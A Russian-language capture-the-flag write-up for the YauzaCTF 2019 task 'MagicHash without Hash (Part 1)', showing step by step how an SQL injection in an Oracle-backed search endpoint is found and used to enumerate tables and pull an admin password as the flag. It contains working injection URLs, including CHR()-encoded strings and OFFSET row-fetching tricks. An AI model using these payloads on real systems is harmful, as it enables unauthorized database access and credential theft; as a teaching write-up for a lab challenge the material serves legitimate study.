Rating: 3.0

# Райтап на таск MagicHash without Hash (Part 1) из YauzaCTF

Открыв страницу, мы видим поле для ввода текста и список результатов. Введя что-нибудь и посмотрев на запрос в developer tools, мы видим, что запрос имеет вид:
`/search.php?f=system.findnews&arg=[%22%25(текст)%25%22]`
Поменяв параметр f на рандомный, получаем ошибку:
> ORA-00904: "ASDF": invalid identifier

Видим, что:
* На бекенде стоит Oracle Database
* Параметр `f` управляет названием таблицы или процедуры

Подставив в `f` название какой-либо стандартной таблицы, получаем ошибку:
> ORA-00904: "SYSTEM"."ALL_TABLES": invalid identifier

Подставив название функции с одним параметром получаем результат.
`/search.php?f=UPPER&arg=["%25s%25"]`
> %S%

Это означает, что `f` управляет названием вызываемой функции, а `arg` - её параметрами. Но мне не удалось найти функцию, которая бы дала доступ к нужным данным, значит, придется применять SQL инъекцию.

Можно догадаться, что в исходном коде бекенда запрос имеет вид наподобие:
`SELECT $_GET['f'](implode(',', $_GET['arg'])) FROM DUAL`

Нам нужно выйти за пределы параметра функции в кавычках, поэтому немного поигравшись с параметрами, я написал такой запрос:

`/search.php?f=CONCAT&arg=["1","2'||(SELECT+1+FROM+DUAL))+FROM+DUAL+--"]`

Вместо `SELECT 1 FROM DUAL` тут можно вставить любой запрос, возвращающий не больше одной строки. Я писал запросы с плюсами вместо пробелов, чтобы они не попадали в urlencode и было читаемо, но можно и без них.

Таким образом, у нас запрос к базе примет следующий вид:

`SELECT CONCAT('1', '2'||(SELECT+1+FROM+DUAL))+FROM+DUAL+--') FROM DUAL`

Часть после `--` считается комментарием, и не обрабатывается сервером. То есть в очищенной форме запрос будет таким:

`SELECT CONCAT('1', '2' || (SELECT 1 FROM DUAL)) FROM DUAL`

Попробуем применить его, и увидим, что в ответ сервер вернул `12\1`, то есть 1 и 2 из параметров CONCAT, и 1, который вернул наш запрос. Кто знает, откуда взялся обратный слеш, напишите :).

Теперь мы можем выполнять любые запросы к базе, и видеть результат их выполнения. Но есть пара ограничений:
* Мы не можем использовать кавычки, так как это снова сломает запрос. Вместо этого для создания строк воспользуемся функцией CHR, которая возвращает символ по ascii коду, и оператором конкатенации ||. Например, строка 'test' после обработки будет 'CHR(116)||CHR(101)||CHR(115)||CHR(116)'
* Нельзя использовать запросы, которые возвращают больше одной строки (тогда оператор конкатенации не сможет склеить строки). Чтобы обойти это, воспользуемся оператором `OFFSET N ROWS FETCH NEXT 1 ROWS ONLY`, где N - номер строки, которую мы хотим получить. Таким образом мы будем получать по одной строке за раз.

Посмотрим, какие таблицы есть в базе. Функция для получения результатов называлась findnews, поэтому я решил поискать таблицы со словом news в названии. Получить список всех таблиц можно из таблицы ALL_TABLES, поле с названием имеет имя TABLE_NAME. Для поиска по таблице используем TABLE_NAME LIKE '%NEWS%', но не забываем про ограничения.

`/search.php?f=CONCAT&arg=["1","2'||(SELECT+TABLE_NAME+FROM+ALL_TABLES+WHERE+TABLE_NAME+LIKE+CHR(37)||CHR(78)||CHR(69)||CHR(87)||CHR(83)||CHR(37)+OFFSET+0+ROWS+FETCH+NEXT+1+ROWS+ONLY))+FROM+DUAL+--"]`

Получаем один результат: YAUZANEWS. Посмотрим владельца этой таблицы (колонка OWNER):

`/search.php?f=CONCAT&arg=["1","2'||(SELECT+OWNER+FROM+ALL_TABLES+WHERE+TABLE_NAME+LIKE+CHR(89)||CHR(65)||CHR(85)||CHR(90)||CHR(65)||CHR(78)||CHR(69)||CHR(87)||CHR(83)+OFFSET+0+ROWS+FETCH+NEXT+1+ROWS+ONLY))+FROM+DUAL+--"]`

Результат: SYSTEM. Посмотрим, какими ещё таблицами владеет этот пользователь. Проматывая строки параметром N после OFFSET, уже на N=2 находим таблицу YAUZAADMIN. Посмотрим её структуру по таблице ALL_TAB_COLUMNS.

`/search.php?f=CONCAT&arg=["1","2'||(SELECT+column_name+FROM+ALL_TAB_COLUMNS+WHERE+table_name=CHR(89)||CHR(65)||CHR(85)||CHR(90)||CHR(65)||CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)+OFFSET+0+ROWS+FETCH+NEXT+1+ROWS+ONLY))+FROM+DUAL+--"]`

Изменяя параметр после OFFSET, узнаем структуру таблицы: ADMIN_ID,LOGIN,PASSWORD. В таблице всего одна строка, и пароль лежит в PASSWORD. Получим его:

`/search.php?f=CONCAT&arg=["1","2'||(SELECT+password+FROM+SYSTEM.YAUZAADMIN))+FROM+DUAL+--"]`
> 12\YauzaCTF{F1rstL3v31c0mpl3t3d}

Вот и наш флаг. Весь таск занял у меня чуть меньше трех часов, большую часть которых занял поиск инъекции.

Original writeup (https://github.com/serega6531/CtfWriteups/blob/master/YauzaCTF2019/MagicHashPart1.md).